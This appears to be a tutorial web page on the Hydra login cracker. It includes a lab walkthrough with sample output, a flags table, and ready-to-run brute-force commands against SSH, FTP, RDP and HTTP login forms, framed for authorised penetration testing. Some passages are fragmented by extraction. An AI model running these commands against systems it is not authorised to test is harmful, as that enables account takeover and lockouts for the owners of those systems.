Hydra
Hydra is a fast, parallelised login cracker. It takes a username list and a password list and tries them against a login service — SSH, FTP, HTTP forms, RDP, SMB, databases and dozens more.
What it is
Hydra is a dictionary attack tool. It does not "hack" anything by itself — it automates the boring part: trying thousands of username and password combinations against a service far faster than a human could type them.
It is written by van Hauser of The Hacker Choice (THC) and supports more than fifty protocols, including SSH, FTP, Telnet, HTTP GET/POST forms, HTTPS, SMB, RDP, MySQL, PostgreSQL, LDAP, SMTP, POP3, IMAP, VNC and SNMP. Because it handles the protocol details for you, the same tool works across an entire network's worth of services.
Hydra's real-world relevance is not "cracking" in the movie sense. It is the fastest way to prove that weak or default credentials exist — still one of the most common findings in internal penetration tests and one of the most common causes of breaches. A single admin:admin on a forgotten service is worth more to an attacker than a complicated exploit.
How to use Hydra
Follow it exactly as you would in a real session — every command, every line of output, and what each result actually tells you. This is a terminal walkthrough.
Confirm the service and the auth method first
kali@errordex:~$ nc -nv 10.10.10.5 22
(UNKNOWN) [10.10.10.5] 22 (ssh) open SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10
PasswordAuthentication no — in which case no password list will ever succeed.Build a tiny targeted list instead of a huge one
kali@errordex:~$ printf "admin\npassword\nadmin123\nchangeme\nroot\ntoor\n" > small.txt && cat small.txt
admin password admin123 changeme root toor
Check the lockout policy BEFORE the first attempt
kali@errordex:~$ grep -i "pam_tally\|maxretry\|deny=" /etc/pam.d/common-auth 2>/dev/null || echo "check server policy"
auth required pam_tally2.so deny=5 unlock_time=900 # deny=5 5 failures and the account locks # unlock_time 15 minutes locked
-t 2 and to stop after four tries.Run it, slowly and quietly
kali@errordex:~$ hydra -l admin -P small.txt -t 2 -f -V ssh://10.10.10.5
[22][ssh] host: 10.10.10.5 login: admin password: admin123 1 of 1 target successfully completed, 1 valid password found # -t 2 only two parallel attempts # -f stop at the first success # -V show every attempt
Record the proof properly
kali@errordex:~$ hydra -l admin -P small.txt -t 2 -f -o hydra_10.10.10.5.txt ssh://10.10.10.5 && cat hydra_10.10.10.5.txt
# Hydra v9.5 run at 2026-11-14 09:41:22 # host: 10.10.10.5 login: admin password: admin123 # -o writes the success to a file for the report
Flags & options
| FLAG | WHAT IT DOES |
|---|---|
| -l user | Single username. |
| -L file | File containing usernames. |
| -p pass | Single password. |
| -P file | File containing passwords. |
| -t N | Parallel tasks. Default 16 — lower it to 2-4 to avoid lockouts. |
| -f | Stop after the first valid pair is found. |
| -V | Show every attempt as it happens. |
| -s PORT | Non-default port. |
| -o file | Write found credentials to a file. |
| -e nsr | Also try empty password, username as password, reversed username. |
| http-post-form | Module for HTML login forms — needs the failure string. |
| -R | Restore a previous interrupted session. |
Why it matters
Weak and default credentials remain one of the most common ways real networks fall — not because attackers are clever, but because a forgotten service still accepts admin:admin. Hydra is how you prove that in an assessment. It is also the fastest way to cause an outage: five wrong attempts against an account with a lockout policy is a denial of service you caused.
How it works
Hydra opens many connections in parallel and works through the combinations. You give it four things: the target, the protocol module, the username source and the password source.
-lsingle username ·-Lusername list-psingle password ·-Ppassword list-tnumber of parallel tasks (default 16 — this is what makes it fast, and what triggers lockouts)-snon-default port ·-Vshow every attempt ·-fstop after the first success
For web forms the syntax is different because Hydra has to know how the form is submitted. You give it the POST body with ^USER^ and ^PASS^ placeholders, plus a string that appears on a failed login so Hydra can tell success from failure. Getting that failure string wrong is the single most common reason Hydra reports false positives on HTTP forms.
Speed is a double-edged sword. Every parallel attempt is a log entry, and most modern systems have lockout policies — five bad attempts and the account is locked, which is a denial of service you caused. Real assessments use small, targeted lists and low -t values, and they check the lockout policy first.
hydra -l user -P list.txt ssh://target
Fails entirely if the server has PasswordAuthentication no — check the config before wasting a list.
Default -t 16 can trigger fail2ban or lock the account. Use -t 4.
hydra -l admin -P list.txt target http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
The F= string must appear on a failed login. Get it wrong and every attempt looks successful.
Forms with CSRF tokens or rate limiting need different handling — Hydra alone will not work.
hydra -L users.txt -P list.txt rdp://target
RDP has its own lockout behaviour and NLA requirements; slow it down hard.
RISKRDP brute force is the single most common ransomware entry point in the wild — which is exactly why defenders watch for it.
Commands & syntax
# SSH — one known username, a password list hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10 # slow down and stop at first hit hydra -l admin -P pass.txt -t 4 -f ssh://192.168.1.10
# both lists, FTP, verbose hydra -L users.txt -P pass.txt -V ftp://192.168.1.10 # RDP on a non-standard port hydra -L users.txt -P pass.txt -s 3390 rdp://192.168.1.10
# POST login form: give the body + a string that means FAILURE hydra -l admin -P pass.txt 192.168.1.10 http-post-form \ "/login:username=^USER^&password=^PASS^:F=Invalid credentials" # Basic auth instead hydra -l admin -P pass.txt 192.168.1.10 http-get /admin/
# Never start with rockyou on a real target. Start tiny: printf "admin\npassword\nadmin123\nchangeme\nroot\ntoor\n" > small.txt hydra -L users.txt -P small.txt -t 2 ssh://192.168.1.10 # SecLists has targeted lists by service and by default vendor password /usr/share/seclists/Passwords/
kali@errordex:~$ hydra -l admin -P /usr/share/wordlists/small.txt -t 4 -f ssh://10.10.10.5 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak Hydra starting at 2026-11-11 09:41:22 [DATA] max 4 tasks per 1 server, overall 4 tasks, 12 login tries (l:1/p:12), ~3 tries per task [DATA] attacking ssh://10.10.10.5:22/ [22][ssh] host: 10.10.10.5 login: admin password: Summer2024! 1 of 1 target successfully completed, 1 valid password found Hydra finished at 2026-11-11 09:41:29 # 7 seconds, 3 attempts. The password was in a 12-line targeted list. # That is why "we use strong passwords" is a policy, not a control, # until someone measures it.
Common mistakes
Locking out real accounts
Lockouts are an outage you caused. On production systems this alone can end an engagement.
Wrong failure string on HTTP forms
Hydra then reports every attempt as a success — false positives that waste hours.
Default -t 16 against fragile services
Old routers, embedded devices and some RDP configurations fall over.
Starting with a giant wordlist
Slow, noisy, and usually pointless — targeted lists win.
Forgetting the protocol
SSH with password auth disabled will never succeed no matter the list. Check the service configuration first.
Using it on anything you do not own
Credential attacks against third-party systems are a criminal offence under the IT Act in India and equivalent laws everywhere.
Practice safely
Build the target yourself: a Metasploitable VM has deliberately weak services — FTP, SSH, Telnet, VNC — on a host-only network. That is the correct place to learn Hydra's syntax and timing.
Structured learning: TryHackMe's Hydra room covers the syntax interactively. Hack The Box machines frequently require credential attacks after initial enumeration.